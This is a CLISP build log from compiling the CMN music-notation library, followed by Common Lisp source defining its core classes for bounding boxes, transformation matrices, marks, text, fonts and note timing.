BEGIN-TIE USER-ADD-TO-RIGHT-TIES END-TIE FIND-TIE PREPARE-NOTE-TIE DISPLAY-TIE SOLVE-BEZIER RESOLVE-TIES MAP-OVER-STAVES TIEIFY-STAFF USER-ADD-TO-SLURS PUSH-SLUR NEW-SLUR SLUR-SLUR POP-SLUR USER-ADD-TO-LEFT-SLURS USER-ADD-TO-RIGHT-SLURS FIND-SLUR MAKE-AND-GET-READY-TO-DISPLAY-SLUR LOWEST-NOTES-SIGN HIGHEST-NOTES-SIGN STEM-HEADING UNDER-SLUR-Y OVER-SLUR-Y INFORM-SLUR NXY-SLOPE SET-UP-SLUR SLURIFY-OBJECT SLURIFY-STAFF PREPARE-SLUR MAKE-TWO-NOTE-SLUR BOIL-UNDER BOIL-OVER MAKE-THREE-NOTE-SLUR MAKE-FOUR-NOTE-SLUR USER-SET-TREMOLO UR-TREMOLO TREMOLO POP-TREMOLO PUSH-TREMOLO NEW-TREMOLO TREMOLO-TREMOLO USER-ADD-TO-LEFT-TREMOLOS USER-ADD-TO-RIGHT-TREMOLOS DRAW-BEAM BALANCED-NOTES LOTS-OF-LEGER-LINES DRAW-BEAMS ANNOTATE-BEAM ANNOTATE-BEAM-1 BEAM-ACROSS-LINE-BREAK BEAM-BETWEEN-STAVES FLATTEN LOCKED-STEM-DIRECTION STEM-DIRECTIONS-FIT ANALYZE-BEAM FUNCTION-P HANDLE-EXPLICIT-BEAMS COLLECT-AND-ANNOTATE-BEAMS IDENTIFY-SLUR ;; Loading file /usr/local/src/lisp/cmn/cmn3.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn3.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn4.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn4.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: ABSOLUTELY-TRUE-STAFF STAFF-ENGORGE SYSTEM-ENGORGE MARKIFY-STAFF UNCOVER-LINE-OR-PAGE-MEASURE-NUMBERS GET-BACK-STAFF-CLEF FIXUP-LINE CHECK-IF-NOTES-COLLIDE FIXUP-GRACE-NOTE-LINE FRACTIONAL-PART FILL-OUT-BEAT FILL-OUT-MEASURE FLEQ FEQ FILL-OUT-MEASURES SET-OCTAVE-SIGN CHECK-NOTE-FOR-NEEDED-NATURAL CHECK-CHORD-FOR-NEEDED-NATURALS SCORE-ENGORGE FIND-OR-INSERT-CLEF SET-ODB INSERT-BARS-TIES-AND-RESTS SET-CLEF-Y0-AND-LINES INSERT-OCTAVE-SIGNS INSERT-NATURALS INSERT-MEASURE-NUMBERS HANDLE-HIDDEN-SECTIONS WALL-LEFT-SPACE WALL-RIGHT-SPACE FENCE-LEFT-SPACE FENCE-RIGHT-SPACE EXPAND-LEFT-SPACE EXPAND-RIGHT-SPACE SCALE-TLD SURVEY MINIMUM-SPACE MAKE-RIGHT-BAR TOTAL-UP-X-AND-FX AMALGAMATE-LINE-DATA LINIFY-WITH-ADDED-BREAKS LINIFY-WITHOUT-ADDED-BREAKS SET-UP-LINE-LIST ACTIVE-TIME ACTIVE-STAFF ACTIVE-STAVES ACTIVE-SYSTEMS SET-UP-STAFF-TIMES CURRENT-LINE-FIXUP LINE-HEIGHT EFFECTIVE-LENGTH ROOM-FOR-STAFF-NAME RX-LENGTH BRACKET-ALSO FIND-TIME-LINE-POSITION-OF CHECK-FOR-NAME FIND-LINE-INTERSECTION FOUND-STAFF-NAME LAYOUT-LINE LINE-PER-PAGE-FIXUP MAXIMUM-STAFF-NAME-ROOM FIXUP-BRACKETS-AND-BRACES NEW-STAFF COMPACTIFY-FIRST-ONSET REGULARIZE-TIME-LINE LINE-DATA-X RX-SPACE CHECK-STAFF-LIMITS PAGED-FILE-NAMES DISPLAY-PAGE-NUMBER PAGED-FILE-NAME EJECT-PAGE ONE-PAGE DRAWIFY TEXT-OF ;; Loading file /usr/local/src/lisp/cmn/cmn4.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn4.fas is finished. Compiling file /usr/local/src/lisp/cmn/rqq.lisp ... Compilation of file /usr/local/src/lisp/cmn/rqq.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: LOCAL-HOW-MANY-DOTS FLATTENIZE GET-TIES FIXUP-TIED-RHYTHMS POW2-P TRANSLATE-SUBDIVISION GET-STRUCT-POSITION MASSAGE-RHYS COUNT-NOTES GBD LOCAL-RQ GET-EXPLICIT-BEAMS GET-MAX-DEPTH GET-SUBDIVS The following functions were used but are deprecated: GENTEMP SET ;; Loading file /usr/local/src/lisp/cmn/rqq.fas ... ;; Loading of file /usr/local/src/lisp/cmn/rqq.fas is finished. Compiling file /usr/local/src/lisp/cmn/wedge.lisp ... Compilation of file /usr/local/src/lisp/cmn/wedge.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: DISPLAY-WEDGE-BEAMS UR-BEGIN-WEDGE-BEAM FIXUP-WEDGE-BEAM INVISIBLE-SPACER ;; Loading file /usr/local/src/lisp/cmn/wedge.fas ... ;; Loading of file /usr/local/src/lisp/cmn/wedge.fas is finished. Compiling file /usr/local/src/lisp/cmn/accent.lisp ... Compilation of file /usr/local/src/lisp/cmn/accent.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: SUL- -SUL SUL-TASTO- -SUL-TASTO DISPLAY-FINGERNAIL DISPLAY-TONGUE DISPLAY-NAIL-PIZZICATO DISPLAY-MARTELLATO DISPLAY-HAUPTSTIMME DISPLAY-NEBENSTIMME DISPLAY-NO-ACCENT DISPLAY-DOINK DISPLAY-RIP DISPLAY-SMEAR SPRECHSTIMME CIRCLED-STEM DISPLAY-ORGAN-HEEL DISPLAY-ORGAN-TOE DISPLAY-VIBRATO DISPLAY-INVERTED-TURN ;; Loading file /usr/local/src/lisp/cmn/accent.fas ... ;; Loading of file /usr/local/src/lisp/cmn/accent.fas is finished. Compiling file /usr/local/src/lisp/cmn/pedal.lisp ... Compilation of file /usr/local/src/lisp/cmn/pedal.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: BASIC-PEDAL BASIC-PEDAL- -BASIC-PEDAL- -BASIC-PEDAL UR-PEDAL- PEDAL- -UR-PEDAL- -PEDAL- -UR-PEDAL -PEDAL UR-SOST.PED- SOST.PED- -UR-SOST.PED- -SOST.PED- -UR-SOST.PED -SOST.PED DISPLAY-SOST.PED UR-U.C.PED- U.C.PED- -UR-U.C.PED- -U.C.PED- -UR-U.C.PED -U.C.PED DISPLAY-U.C.PED PEDAL-RESTART DISPLAY-ONE-HALF DISPLAY-ANY-PEDAL ;; Loading file /usr/local/src/lisp/cmn/pedal.fas ... ;; Loading of file /usr/local/src/lisp/cmn/pedal.fas is finished. Compiling file /usr/local/src/lisp/cmn/percussion.lisp ... Compilation of file /usr/local/src/lisp/cmn/percussion.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: DISPLAY-CYMBAL DISPLAY-GONG DISPLAY-MARACAS DISPLAY-TAMBOURINE DISPLAY-SUSPENDED-CYMBAL DISPLAY-HI-HAT DISPLAY-TRIANGLE DISPLAY-COW-BELLS DISPLAY-BASS-DRUM DISPLAY-HARD-STICK DISPLAY-SOFT-STICK DISPLAY-METAL-STICK DISPLAY-RUBBER-STICK DISPLAY-WOOD-STICK DISPLAY-WIRE-BRUSH DISPLAY-TRIANGLE-STICK ;; Loading file /usr/local/src/lisp/cmn/percussion.fas ... ;; Loading of file /usr/local/src/lisp/cmn/percussion.fas is finished. Compiling file /usr/local/src/lisp/cmn/ring.lisp ... Compilation of file /usr/local/src/lisp/cmn/ring.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: DOTTED-P FILLED-BEZIER DISPLAY-RING- DISPLAY--RING UR-RING DISPLAY--RING- ;; Loading file /usr/local/src/lisp/cmn/ring.fas ... ;; Loading of file /usr/local/src/lisp/cmn/ring.fas is finished. Compiling file /usr/local/src/lisp/cmn/rests.lisp ... Compilation of file /usr/local/src/lisp/cmn/rests.lisp is finished. 0 errors, 0 warnings ;; Loading file /usr/local/src/lisp/cmn/rests.fas ... ;; Loading of file /usr/local/src/lisp/cmn/rests.fas is finished. Compiling file /usr/local/src/lisp/cmn/lyrics.lisp ... Compilation of file /usr/local/src/lisp/cmn/lyrics.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: GATHER-LYRICS LYRIC-LENGTH ;; Loading file /usr/local/src/lisp/cmn/lyrics.fas ... ;; Loading of file /usr/local/src/lisp/cmn/lyrics.fas is finished. Compiling file /usr/local/src/lisp/cmn/transpose.lisp ... Compilation of file /usr/local/src/lisp/cmn/transpose.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: MAP-SIGNATURE UNMAP-SIGNATURE UPDATE-NOTE-1 KEY-BASE KEY-PITCH UPDATE-NOTE UPDATE-KEY KEY-MODE ;; Loading file /usr/local/src/lisp/cmn/transpose.fas ... ;; Loading of file /usr/local/src/lisp/cmn/transpose.fas is finished. Compiling file /usr/local/src/lisp/cmn/pmn.lisp ... Compilation of file /usr/local/src/lisp/cmn/pmn.lisp is finished. 0 errors, 0 warnings ;; Loading file /usr/local/src/lisp/cmn/pmn.fas ... ;; Loading of file /usr/local/src/lisp/cmn/pmn.fas is finished. Compiling file /usr/local/src/lisp/cmn/quarter.lisp ... Compilation of file /usr/local/src/lisp/cmn/quarter.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: DRAW-SHARP-UP DRAW-SHARP-DOWN DRAW-FLAT-UP DRAW-FLAT-DOWN DRAW-NATURAL-UP DRAW-NATURAL-DOWN DRAW-FLAT-WITH-DROPOUT DRAW-FLAT-WITH-FLAG DRAW-FLAT-REVERSED DRAW-SHARP-HORIZONTAL-MARKS DRAW-SHARP-WITH-RIGHT-VERTICAL DRAW-SHARP-WITH-LEFT-VERTICAL DRAW-SHARP-WITH-CENTERED-VERTICAL ;; Loading file /usr/local/src/lisp/cmn/quarter.fas ... ;; Loading of file /usr/local/src/lisp/cmn/quarter.fas is finished. NIL "/usr/local/src/lisp/cmn/" "/usr/local/src/lisp/cmn/" ;; Loading of file /usr/local/src/lisp/cmn/cmn-all.lisp is finished. T [5]> (dribble) --------------- ;;; -*- syntax: common-lisp; package: cmn; base: 10; mode: lisp -*- ;;; (in-package :cmn) (defvar *cmn-default-font* (list "Times-Roman" "Times-Italic" "Times-Bold" "Times-BoldItalic")) ;;; this sets all the fallback font names (defun normal-font () (first *cmn-default-font*)) (defun italic-font () (second *cmn-default-font*)) (defun bold-font () (third *cmn-default-font*)) (defun bold-italic-font () (fourth *cmn-default-font*)) (defvar *cmn-default-font-size* 1.0) ;;; as a convenience for callers of clm, we like to package up all the information about ;;; an entity within the parentheses of that entity -- that is: ;;; (c4 q staccato (onset 1.5)) ;;; which requires that the "onset" function pass its argument on to the "c4" function. ;;; In normal CLOS syntax this would be (setf (onset (c4 q staccato)) 1.5) or something, ;;; and the real entity rapidly gets swallowed up in onion-like layers of setfs with the ;;; associated setf-d data further and further from the field it is setting. The ;;; functions that act like "onset" above return a "self-acting" instance and the ;;; "self-action" macro wraps up the rest. (defparameter prewhitespace " ") (defclass self-acting () ((action :initarg :action :initform nil :accessor action) (argument :initarg :argument :initform nil :accessor argument))) (defun make-self-acting (&key action argument) (make-instance 'self-acting :action action :argument argument)) (defmethod self-acting-p ((obj self-acting)) t) (defmethod self-acting-p ((obj t)) nil) (eval-when (compile load eval) (defmacro deferred-action (name) `(defmethod ,name ((val t)) (make-self-acting :action #'(lambda (obj val1) (setf (,name obj) val1)) :argument val)))) ;;; ;;; ---------------- main methods ;;; (defgeneric copy (read-object &optional write-object)) (defgeneric descry (object &optional stream controller)) (defgeneric display (object container score &optional justifying)) (defgeneric house (object score)) (defgeneric notify (controller &optional objects)) (defgeneric identify (object)) ;;; these are the primary generic functions that every score object responds to ;;; copy returns a copy (unwrite-protected) of its argument (at top level) ;;; descry is our describe method intended for debugging (would be nice if lisp's describe were specializable) ;;; display displays an object ;;; house puts the three layers of white space boxes around an object (during justification) ;;; notify is the syntax checker -- it reads all the arguments collected into an object and regularizes everything ;;; identify is used by the error reporting mechanism to try to give an understandable reference to the current object (defmethod descry (anything &optional stream controller) (declare (ignore controller)) (format stream " ~A" anything)) (defmethod identify (anything) anything) ;;; ;;; ---------------- read-only structures ;;; ;;; our basic score syntax includes such things as (cmn staff treble c4 q) and we have ;;; to make sure we never write the fields of the "staff" or "treble" (etc) variables ;;; so all such special variables are "write-protected". ;;; ;;; This is actually a kludge to get around a PCL bug that (defconstant hi (make-instance...)) ;;; does not return a true constant (i.e. (constantp hi) is NIL) -- in ACL 4.1, and I assume ;;; any "real" CLOS lisp, the write-protected class is unneeded, but at this point a rewrite ;;; would be a big undertaking. (defclass write-protect () ()) ;;; using typep as in: ;;;(defun write-protected (object) (typep object 'write-protect)) ;;; is about 10 times slower than methods such as: (defmethod write-protected ((obj t)) nil) (defmethod write-protected ((obj write-protect)) t) ;;; ;;; ---------------- bounds (the "bounding-box") ;;; ;;; x0 y0 is lower left corner, normally -- some objects slop over one way or the other (defclass box-mixin () ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number) (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number) (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number) (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number))) (defclass box (box-mixin) ((x0 :accessor x0 :accessor box-x0 :type number) (y0 :accessor y0 :accessor box-y0 :type number) (x1 :accessor x1 :accessor box-x1 :type number) (y1 :accessor y1 :accessor box-y1 :type number))) (defmethod box-p ((obj t)) nil) (defmethod box-p ((obj box-mixin)) t) (defun copy-bounding-box (obj1 obj2) (setf (box-x0 obj2) (box-x0 obj1)) (setf (box-x1 obj2) (box-x1 obj1)) (setf (box-y0 obj2) (box-y0 obj1)) (setf (box-y1 obj2) (box-y1 obj1))) (defmethod copy ((box box-mixin) &optional object) (let ((new-box (if (not object) (make-instance 'box) (if (write-protected object) (copy object) object)))) (setf (box-x0 new-box) (box-x0 box)) (setf (box-y0 new-box) (box-y0 box)) (setf (box-x1 new-box) (box-x1 box)) (setf (box-y1 new-box) (box-y1 box)) (if (next-method-p) (call-next-method box new-box)) new-box)) (defmethod descry ((box box-mixin) &optional stream controller) (format stream "~A :x0 ~A :y0 ~A :x1 ~A :y1 ~A~A~A" (if (not controller) "(box" "") (not-rational (x0 box)) (not-rational (y0 box)) (not-rational (x1 box)) (not-rational (y1 box)) (if (next-method-p) (call-next-method box stream (or controller box)) "") (if (not controller) ")" ""))) (defmacro with-position (obj x0 y0 &body body) `(let ((old_x0 (box-x0 ,obj)) (old_y0 (box-y0 ,obj))) (if (not (numberp ,x0)) (warn "weird argument to with-position: x0: ~A of ~A " ,x0 ,obj)) (if (write-protected ,obj) (warn "write-protected ~A passed to with-position" ,obj)) (setf (box-x0 ,obj) ,x0) (setf (box-y0 ,obj) ,y0) ,@body (setf (box-x0 ,obj) old_x0) (setf (box-y0 ,obj) old_y0))) (defmethod width ((box box-mixin)) (- (box-x1 box) (box-x0 box))) ;;; ;;; --------------- patterns and coordinate transformations ;;; (defclass matrix-mixin () ((matrix :initarg :matrix :initform nil :reader matrix))) (defclass matrix (matrix-mixin) ((matrix :accessor matrix))) (defmethod matrix-p ((obj t)) nil) (defmethod matrix-p ((obj matrix-mixin)) t) (defun make-matrix () (make-instance 'matrix)) ;backwards compatibility (defmethod copy ((matrix matrix-mixin) &optional object) (let ((new-matrix (if (not object) (make-instance 'matrix) (if (write-protected object) (copy object) object)))) (if (matrix matrix) (setf (matrix new-matrix) (copy-list (matrix matrix)))) (if (next-method-p) (call-next-method matrix new-matrix)) new-matrix)) (defun identity-matrix-p (object) (let ((mat (matrix object))) (or (not mat) (and (= (first mat) 1) (= (second mat) 0) (= (third mat) 0) (= (fourth mat) 1))))) (defun invisible-p (object) (let ((mat (matrix object))) (and mat (= (first mat) 0) (= (second mat) 0) (= (third mat) 0) (= (fourth mat) 0)))) (defun invisible-matrix (mat) (and mat (= (first mat) 0) (= (second mat) 0) (= (third mat) 0) (= (fourth mat) 0))) (defun translate-matrix (score object x0 y0 &optional (scale 1.0)) (let ((base (if object (copy-list (matrix object)) (list 1 0 0 1 0 0)))) (if base (progn (setf (first base) (* scale (first base))) (setf (fourth base) (* scale (fourth base))) (setf (fifth base) (* (scr-size score) x0)) (setf (sixth base) (* (scr-size score) y0)) base) (list scale 0 0 scale (* (scr-size score) x0) (* (scr-size score) y0))))) (defmethod descry ((matrix matrix-mixin) &optional stream controller) (format stream "~A~A~A~A" (if (not controller) "(matrix" (if (not (identity-matrix-p matrix)) (format nil "~%~A" prewhitespace) "")) (if (not (identity-matrix-p matrix)) (format nil " :matrix '~A" (map 'list #'not-rational (matrix matrix))) "") (if (next-method-p) (call-next-method matrix stream (or controller matrix)) "") (if (not controller) ")" ""))) (defun identify-matrix (object) (if (not (identity-matrix-p object)) (if (invisible-p object) " (scale 0 0)" (if (equal (matrix object) '(-1 0 0 1 0 0)) " mirrored" (if (let ((mobj (matrix object))) (and (zerop (second mobj)) (zerop (third mobj)) (zerop (fifth mobj)) (zerop (sixth mobj)))) (format nil " (scale ~,3F ~,3F)" (first (matrix object)) (fourth (matrix object))) (format nil " (matrix '~A)" (map 'list #'not-rational (matrix object)))))) "")) (defun rotate (angle) (make-self-acting :action #'(lambda (obj angle) (setf (matrix obj) (rotate-matrix (or (matrix obj) (list 1 0 0 1 0 0)) angle)) obj) :argument angle)) (defun scale (xscl yscl) (make-self-acting :action #'(lambda (obj scls) (setf (matrix obj) (scale-matrix (or (matrix obj) (list 1 0 0 1 0 0)) (first scls) (second scls))) obj) :argument (list xscl yscl))) (defun mirror () (make-self-acting :action #'(lambda (obj ignored) (declare (ignore ignored)) (setf (matrix obj) (mirror-matrix (or (matrix obj) (list 1 0 0 1 0 0)))) obj) :argument nil)) (defvar mirrored (make-self-acting :action #'(lambda (obj ignored) (declare (ignore ignored)) (setf (matrix obj) (mirror-matrix (or (matrix obj) (list 1 0 0 1 0 0)))) obj) :argument nil)) (defun transform (matr) (make-self-acting :action #'(lambda (obj matr) (setf (matrix obj) (truncated-matrix-multiply (or (matrix obj) (list 1 0 0 1 0 0)) matr)) obj) :argument matr)) (defun invisible () (make-self-acting :action #'(lambda (obj ignored) (declare (ignore ignored)) (setf (matrix obj) (list 0 0 0 0 0 0)) obj) :argument nil)) (defvar invisible (make-self-acting :action #'(lambda (obj ignored) (declare (ignore ignored)) (setf (matrix obj) (list 0 0 0 0 0 0)) obj) :argument nil)) (defclass pattern-mixin () ((pattern-type :initarg :pattern-type :initform nil :reader pattern-type) (pattern-data :initarg :pattern-data :initform nil :reader pattern-data) (color :initarg :color :initform nil :reader color))) (defclass pattern (pattern-mixin) ((pattern-type :accessor pattern :accessor pattern-type) (pattern-data :accessor pattern-data) (color :accessor color))) (defmethod copy ((pattern pattern-mixin) &optional object) (let ((new-pattern (if (not object) (make-instance 'pattern) (if (write-protected object) (copy object) object)))) (setf (pattern-type new-pattern) (pattern-type pattern)) (setf (pattern-data new-pattern) (pattern-data pattern)) (setf (color new-pattern) (color pattern)) (if (next-method-p) (call-next-method pattern new-pattern)) new-pattern)) (defmethod descry ((pattern pattern-mixin) &optional stream controller) (format stream "~A~A~A~A~A~A" (if (not controller) "(pattern" (if (pattern-type pattern) (format nil "~%~A" prewhitespace) "")) (if (pattern-type pattern) (format nil " :type ~A" (pattern-type pattern)) "") (if (pattern-data pattern) (format nil " :data ~A" (pattern-data pattern)) "") (if (color pattern) (format nil " :color ~A" (color pattern)) "") (if (next-method-p) (call-next-method pattern stream (or controller pattern)) "") (if (not controller) ")" ""))) (defclass write-protected-marks-mixin () ((marks :initarg :marks :initform nil :reader marks))) (defclass marks-mixin (write-protected-marks-mixin) ((marks :accessor marks))) (defmethod marks-p ((obj t)) nil) (defmethod marks-p ((obj marks-mixin)) t) (defmethod descry ((vis write-protected-marks-mixin) &optional stream controller) (format stream "~A~A" (if (marks vis) (format stream "~%~A :marks (list~{ ~A~})" prewhitespace (loop for mark in (marks vis) collect (descry mark stream nil))) "") (if (next-method-p) (call-next-method vis stream (or controller vis)) ""))) (defmethod copy ((vis write-protected-marks-mixin) &optional object) (let ((new-vis (if (not object) (make-instance 'marks-mixin) (if (write-protected object) (copy object) object)))) (if (marks vis) (setf (marks new-vis) (loop for mark in (marks vis) collect (copy mark)))) (if (next-method-p) (call-next-method vis new-vis)) new-vis)) (defun display-marks (object score &optional justifying) (if (marks object) (loop for mark in (marks object) do (if (or (not (sundry-p mark)) (not (eq (sundry-name mark) :slur))) (display mark object score justifying))))) (defmethod add-to-marks ((anything write-protected-marks-mixin) objects) (setf (marks anything) (append (marks anything) objects))) (defun edit-mark (anything mark-identifier mark-editor) (loop for m in (marks anything) do (if (funcall mark-identifier m anything) (funcall mark-editor m anything)))) (defun identify-marks (object &optional file) (if (marks object) (format file "~{ ~A~}" (loop for mark in (marks object) collect (identify mark))) "")) (defclass visible-mixin (write-protected-marks-mixin box-mixin pattern-mixin matrix-mixin) ((justification :initform nil :initarg :justification :reader visible-justification) (visible-section :initform nil :initarg :visible-section :reader visible-section) (dx :initarg :dx :initform 0 :reader dx :reader vis-dx) (dy :initarg :dy :initform 0 :reader dy :reader vis-dy) (center :initarg :center :initform 0 :reader center) (walls :initarg :walls :initform nil :reader walls) (fences :initarg :fences :initform nil :reader fences) (expanders :initform nil :initarg :expanders :reader expanders))) (defclass visible (visible-mixin marks-mixin box pattern matrix) ((justification :accessor visible-justification :accessor justification) (visible-section :accessor visible-section) (dx :accessor dx :accessor vis-dx) (dy :accessor dy :accessor vis-dy) (center :accessor center) (walls :accessor walls) (fences :accessor fences) (expanders :accessor expanders))) (defmethod visible-p ((obj t)) nil) (defmethod visible-p ((obj visible-mixin)) t) (defmethod descry ((vis visible-mixin) &optional stream controller) (format stream "~A~A~A~A~A~A~A~A~A" (if (visible-justification vis) (format stream " :justification :~(~A~)" (visible-justification vis)) "") (if (visible-section vis) (format stream " :section ~A" (visible-section vis)) "") (if (not (zerop (dx vis))) (format nil " :dx ~,3F" (dx vis)) "") (if (dy vis) (if (listp (dy vis)) (format nil " :dy '~A " (dy vis)) (if (not (zerop (dy vis))) (format nil " :dy ~,3F" (dy vis)) "")) "") (if (and (center vis) (not (zerop (center vis)))) (format nil " :center ~A" (center vis)) "") (if (walls vis) (format nil " :walls '~A" (walls vis)) "") (if (fences vis) (format nil " :fences '~A" (fences vis)) "") (if (expanders vis) (format nil " :expanders '~A" (expanders vis)) "") (if (next-method-p) (call-next-method vis stream (or controller vis)) ""))) (defmethod copy ((vis visible-mixin) &optional object) (let ((new-vis (if (not object) (cmn-error "attempt to copy a bare instance of the visible-mixin class") (if (write-protected object) (copy object) object)))) (setf (visible-justification new-vis) (visible-justification vis) ) (setf (visible-section new-vis) (visible-section vis)) (setf (vis-dx new-vis) (vis-dx vis)) (setf (vis-dy new-vis) (vis-dy vis)) (setf (center new-vis) (center vis)) (setf (walls new-vis) (copy-list (walls vis))) (setf (fences new-vis) (copy-list (fences vis))) (setf (expanders new-vis) (copy-list (expanders vis))) (if (next-method-p) (call-next-method vis new-vis)) new-vis)) (defun identify-visible (object &optional file) (if (or (not (zerop (dx object))) (not (zerop (dy object)))) (format file "~A~A" (if (not (zerop (dx object))) (format nil " (dx ~,3F)" (dx object)) "") (if (not (zerop (dy object))) (format nil " (dy ~,3F)" (dy object)) "")) "")) (defun layout (val) (make-self-acting :argument val :action #'(lambda (obj arg) (setf (visible-justification obj) arg)))) (defclass font-mixin () ((font-size :initarg :font-size :initform nil :accessor font-size) (font-name :initarg :font-name :initform nil :accessor font-name) (font-scaler :initarg :font-scaler :initform 1.0 :accessor font-scaler))) (defmethod descry ((fnt font-mixin) &optional stream controller) (format stream "~A~A~A~A~A~A" (if (not controller) "(font" "") (if (font-name fnt) (format nil " :font-name ~A" (font-name fnt)) "") (if (font-size fnt) (format nil " :font-size ~A" (font-size fnt)) "") (if (/= (font-scaler fnt) 1.0) (format nil " :font-scaler ~A" (font-scaler fnt)) "") (if (next-method-p) (call-next-method fnt stream (or controller fnt)) "") (if (not controller) ")" ""))) (defmethod copy ((fnt font-mixin) &optional object) (let ((new-fnt (if (not object) (make-instance 'font-mixin) (if (write-protected object) (copy object) object)))) (setf (font-size new-fnt) (font-size fnt)) (setf (font-name new-fnt) (font-name fnt)) (setf (font-scaler new-fnt) (font-scaler fnt)) (if (next-method-p) (call-next-method fnt new-fnt)) new-fnt)) (defclass text (font-mixin visible) ((letters :initarg :letters :initform nil :accessor letters) (y :initarg :y :initform nil :accessor y :accessor text-y) (x :initarg :x :initform nil :accessor x :accessor text-x) (style :initarg :text-style :initform nil :accessor text-style) (font-name :initform (normal-font)) (justification :initform :none))) (defmethod text-p ((obj t)) nil) (defmethod text-p ((obj text)) t) (defmethod descry ((text text) &optional stream controller) (format stream "~A~A~A~A" (if (not controller) "(text" "") (if (letters text) (format nil " :letters ~A" (letters text)) "") (if (text-style text) (format nil " :text-style ~A" (text-style text)) "") (if (next-method-p) (call-next-method text stream (or controller text)) "") (if (not controller) ")" ""))) (defmethod copy ((text text) &optional object) (let ((new-text (if (not object) (make-instance 'text) (if (write-protected object) (copy object) object)))) (setf (letters new-text) (letters text)) (setf (text-style new-text) (text-style text)) (setf (text-x new-text) (text-x text)) (setf (text-y new-text) (text-y text)) (if (next-method-p) (call-next-method text new-text)) new-text)) (defun glyph (num) (make-self-acting :action #'(lambda (obj num) (setf (letters obj) (format nil "\\~O" num)) obj) :argument num)) (defun make-ISO-encoded-version (score font-name new-font-name) (g-send score (format nil " /~A findfont dup length dict begin {1 index /FID ne {def} {pop pop} ifelse} forall /Encoding ISOLatin1Encoding def currentdict end /~A exch definefont pop " font-name new-font-name))) (deferred-action center) (deferred-action fences) (deferred-action walls) (deferred-action expanders) (deferred-action x0) (deferred-action y0) (deferred-action x1) (deferred-action y1) (deferred-action dx) (deferred-action dy) (deferred-action matrix) (deferred-action pattern) (deferred-action color) (deferred-action font-name) (deferred-action font-size) (deferred-action font-scaler) (defun underlined () (make-self-acting :action #'(lambda (obj arg) (declare (ignore arg)) (setf (text-style obj) :underlined)) :argument nil)) (defvar underlined (underlined)) (defun gray-scale (&optional (n 0)) (make-self-acting :action #'(lambda (obj arg) (setf (color obj) (list arg arg arg))) :argument n)) (defun setf-gray-scale (obj n) (setf (color obj) (list n n n))) (defsetf gray-scale setf-gray-scale) (defun outlined (&optional (n 0)) (make-self-acting :action #'(lambda (obj n) (setf (pattern-type obj) :outlined) (setf (pattern-data obj) n)) :argument n)) ;;; ;;; -------------- basic musical time fields (onset/duration/beat=>odb) ;;; (defclass odb-mixin () ((onset :initarg :onset :initform nil :reader onset :reader odb-onset) (duration :initarg :duration :initform nil :reader duration :reader odb-duration) (beat :initarg :beat :initform nil :reader beat :reader odb-beat))) (defclass odb (odb-mixin) ((onset :accessor onset :accessor odb-onset) (duration :accessor duration :accessor odb-duration) (beat :accessor beat :accessor odb-beat))) (defmethod odb-p ((obj t)) nil) (defmethod odb-p ((obj odb-mixin)) t) (defmethod descry ((odb odb-mixin) &optional stream controller) (format stream "~A~A~A~A~A~A" (if (not controller) "(odb" (if (or (onset odb) (duration odb) (beat odb)) (format nil "~%~A" prewhitespace) "")) (if (onset odb) (format nil " :onset ~A" (onset odb)) "") (if (duration odb) (format nil " :duration ~A" (duration odb)) "") (if (beat odb) (format nil " :beat ~A" (beat odb)) "") (if (next-method-p) (call-next-method odb stream (or controller odb)) "") (if (not controller) ")" ""))) (defmethod copy ((odb odb-mixin) &optional object) (let ((new-object (if (not object) (make-instance 'odb) (if (write-protected object) (copy object) object)))) (setf (odb-onset new-object) (odb-onset odb)) (setf (odb-duration new-object) (odb-duration odb)) (setf (odb-beat new-object) (odb-beat odb)) (if (next-method-p) (call-next-method odb new-object)) new-object)) (defmethod onset (val) (make-self-acting :argument val :action #'(lambda (obj arg) (if (numberp arg) (setf (onset obj) (fratify arg)) (setf (onset obj) arg))))) (defmethod duration ((val number)) (make-self-acting :argument val :action #'(lambda (obj arg) (setf (duration obj) (fratify arg))))) (defmethod beat ((val number)) (make-self-acting :argument val :action #'(lambda (obj arg) (setf (beat obj) (fratify arg))))) (defclass staff-relative-mixin () ((staff-y0 :initarg :staff-y0 :initform 0 :accessor staff-y0))) (defmethod staff-relative-mixin-p ((obj t)) nil) (defmethod staff-relative-mixin-p ((obj staff-relative-mixin)) t) (defmethod descry ((stf-y0 staff-relative-mixin) &optional stream controller) (format stream "~A~A~A~A" (if (not controller) "(staff-relative-mixin" "") (format nil " :staff-y0 ~A" (staff-y0 stf-y0)) (if (next-method-p) (call-next-method stf-y0 stream (or controller stf-y0)) "") (if (not controller) ")" ""))) (defmethod copy ((stf-y0 staff-relative-mixin) &optional object) (let ((new-stf (if (not object) (make-instance 'staff-relative-mixin) (if (write-protected object) (copy object) object)))) (setf (staff-y0 new-stf) (staff-y0 stf-y0)) (if (next-method-p) (call-next-method stf-y0 new-stf)) new-stf)) (defmethod staff-y0 ((box box-mixin)) (box-y0 box)) (deferred-action staff-y0) (defclass thick-mixin () ((thickness :initarg :thickness :initform nil :reader thickness :reader cmn-thickness))) (defclass thick (thick-mixin) ((thickness :accessor thickness))) (defmethod descry ((thk thick-mixin) &optional stream controller) (format stream "~A~A" (if (thickness thk) (format nil " :thickness ~A" (thickness thk)) "") (if (next-method-p) (call-next-method thk stream (or controller thk)) ""))) (defmethod copy ((thk thick-mixin) &optional object) (setf (thickness object) (thickness thk)) (if (next-method-p) (call-next-method thk object)) object) (deferred-action thickness) (defclass breathing-space-mixin () ((breathing-space :initarg :breathing-space :initform 0 :reader breathing-space))) (defclass breathing-space () ((breathing-space :initarg :breathing-space :initform 0 :accessor breathing-space))) 